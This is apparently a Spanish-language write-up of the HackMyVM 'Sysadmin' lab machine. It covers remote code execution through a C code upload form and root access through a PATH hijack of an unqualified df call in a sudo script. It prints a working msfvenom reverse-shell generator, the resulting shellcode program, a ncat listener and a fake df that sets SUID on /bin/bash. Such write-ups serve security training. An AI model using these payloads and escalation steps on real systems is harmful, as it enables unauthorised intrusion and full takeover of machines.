cd ~/blog

~/writeups/hmv/142-sysadmin.md

142 - Sysadmin

easy Linux hmv 27-10-2025
C code upload RCE (shellcode execution)sudo script PATH Hijacking (df)
hackmyvm.eu/machines/machine.php?vm=Sysadmin

~2 min de lectura


Identificamos la IP de la máquina objetivo con arp-scan y filtrando por el identificador PCS (VirtualBox):

 arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.60.215.42

Escaneamos todos los puertos con nmap:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.60.215.42
[sudo] contraseña para wh01s17:
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-27 19:23 -0300
Nmap scan report for 10.60.215.42
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:A9:96:BC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.11 seconds

Escaneo con detección de servicios y scripts en los puertos relevantes:

 nmap -sCV -p 22,80 -oN 02-targeted.txt 10.60.215.42
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-27 19:23 -0300
Nmap scan report for 10.60.215.42
Host is up (0.00018s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: C Code Upload
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.28 seconds

En el puerto 80 aparece una página con título "C Code Upload".

Al abrir http://10.60.215.42 encontramos un formulario que permite subir un fichero con código C. La página indica que el código se compilará y ejecutará en el servidor.

En el código fuente de la página hay un comentario que muestra exactamente el comando utilizado para compilar el código subido:

gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out

¿Qué hace cada opción del comando gcc?

  • gcc
    Invoca el compilador GNU.

  • -std=c11
    Compila usando el estándar C11 (define el dialecto del lenguaje).

  • -nostdinc
    No añade los directorios estándar de cabeceras (/usr/include, etc.) al buscar #include <...>. Solo se encontrarán las cabeceras que especifiques con -I u otras rutas explícitas.

  • -I/var/www/include
    Añade /var/www/include al path de búsqueda de cabeceras. Es probable que el autor haya colocado versiones mínimas de <unistd.h> u otras cabeceras aquí.

  • -z execstack
    Marca la pila como ejecutable en el binario (segmento GNU_STACK ejecutable). Esto permite ejecutar código desde la pila (útil para shellcode). En un entorno real incrementa el riesgo de explotación por buffer overflow.

  • -fno-stack-protector
    Desactiva los stack canaries (protecciones automáticas contra sobrescritura de retorno). Sin esta protección, los desbordamientos de búfer no se detectan por canarios.

  • -no-pie
    Genera un ejecutable no-PIE (no position-independent). Las direcciones dentro del ejecutable son fijas en tiempo de ejecución, lo que reduce la efectividad de ASLR y facilita exploits basados en direcciones conocidas.

  • test.c
    Archivo fuente que se compila.

  • -o a.out
    Nombre del binario de salida.

Para construir el payload, utilizaremos como base un script facilitado por el usuario Sublarge. El script genera shellcode con msfvenom, extrae la parte #include y prepara un programa pwned.c que llama al buffer como código ejecutable.

Contenido del generador:

 cat c_generator.sh
#!/bin/bash
LHOST="10.60.215.35"
LPORT="1234"

# Shellcode con msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT PrependFork=true AppendExit=true -e x64 /xor_dynamic -f c -o test2.c >/dev/null 2>&1

grep -A 100 "#include" test2.c > final_code.tmp

cat > pwned.c <<EOF
int main() {
    if ( !fork() ) {
        $(grep -A 100 "unsigned char buf\[\]" test2.c)
        ((void (*)())buf)();
    }
    return 0;
}
EOF

echo "[+] Creado pwned.c"

Ejecución del script:

 ./c_generator.sh
[+] Creado pwned.c

Contenido de pwned.c (el shellcode en C):

❯ cat pwned.c
int main() {
    if ( !fork() ) {
        unsigned char buf[] =
"\xeb\x27\x5b\x53\x5f\xb0\xba\xfc\xae\x75\xfd\x57\x59\x53"
"\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f"
"\xe4\x49\x74\x07\x80\x3e\xba\x75\xea\xeb\xe6\xff\xe1\xe8"
"\xd4\xff\xff\xff\x06\xba\x6c\x3f\x5e\x09\x03\x4e\x83\xc6"
"\x72\x0e\x4e\x37\xf9\x6c\x3a\x5e\x09\x03\x02\x76\x09\x03"
"\x6c\x3f\x5e\x09\x03\x4e\x83\xc6\x73\xec\x6c\x2f\x5e\x9f"
"\x6c\x04\x59\x6c\x07\x58\x09\x03\x4e\x91\x4e\xbf\x04\x06"
"\x02\xd4\x0c\x3a\xd1\x25\x57\x4e\x8f\xe0\x6c\x16\x5c\x6c"
"\x2c\x5e\x09\x03\x6c\x05\x58\x4e\xf9\xc8\x6c\x27\x5e\x09"
"\x03\x73\xf0\x6c\x3d\x5e\x9f\x4e\xbd\x29\x64\x6f\x68\x29"
"\x75\x6e\x06\x55\x4e\x8f\xe1\x54\x51\x4e\x8f\xe0\x09\x03"
"\xe4\x49";
        ((void (*)())buf)();
    }
    return 0;
}

En nuestra máquina local ejecutamos ncat en modo escucha para recibir la conexión reversa:

 ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.60.215.42:36542.
script /dev/null -c bash
Script started, file is /dev/null
echo@Sysadmin:/home/echo$

Con esto obtuvimos una shell como el usuario echo y conseguimos la primera flag.

Para escalar privilegios, buscamos comandos sudo permitidos para el usuario echo:

echo@Sysadmin:/tmp$ sudo -l
Matching Defaults entries for echo on Sysadmin:
    !env_reset, mail_badpass, !env_reset, always_set_home

User echo may run the following commands on Sysadmin:
    (root) NOPASSWD: /usr/local/bin/system-info.sh

El usuario echo puede ejecutar /usr/local/bin/system-info.sh como root sin contraseña.

Revisamos el contenido del script:

echo@Sysadmin:/tmp$ cat /usr/local/bin/system-info.sh
#!/bin/bash

#===================================
# Daily System Info Report
#===================================

echo "Starting daily system information collection at $(date)"
echo "------------------------------------------------------"

echo "Checking disk usage..."
df -h

echo "Checking log directory..."
ls -lh /var/log/
find /var/log/ -type f -name "*.gz" -mtime +30 -exec rm {} \;

echo "Checking critical services..."
systemctl is-active sshd
systemctl is-active cron

echo "Collecting CPU and memory information..."
cat /proc/cpuinfo
free -m

echo "------------------------------------------------------"
echo "Report complete at $(date)"

El script invoca df sin usar la ruta absoluta. Esto permite un PATH hijack si colocamos un ejecutable df malicioso en un directorio al inicio de PATH.

Creamos una versión maliciosa de df en /tmp que suba el bit SUID de /bin/bash:

echo@Sysadmin:/tmp$ cat df
#!/bin/bash
chmod u+s /bin/bash

Modificamos PATH para que /tmp esté antes que las rutas estándar, y luego ejecutamos el script con sudo:

echo@Sysadmin:/tmp$ export PATH=/tmp:$PATH

Después de ejecutar el script, comprobamos los permisos de /bin/bash:

echo@Sysadmin:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash

Con el bit SUID habilitado en /bin/bash, iniciamos un shell privilegiado:

echo@Sysadmin:/tmp$ bash -p
bash-5.0# whoami
root

Con esto obtuvimos la última flag y completamos la escalada a root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados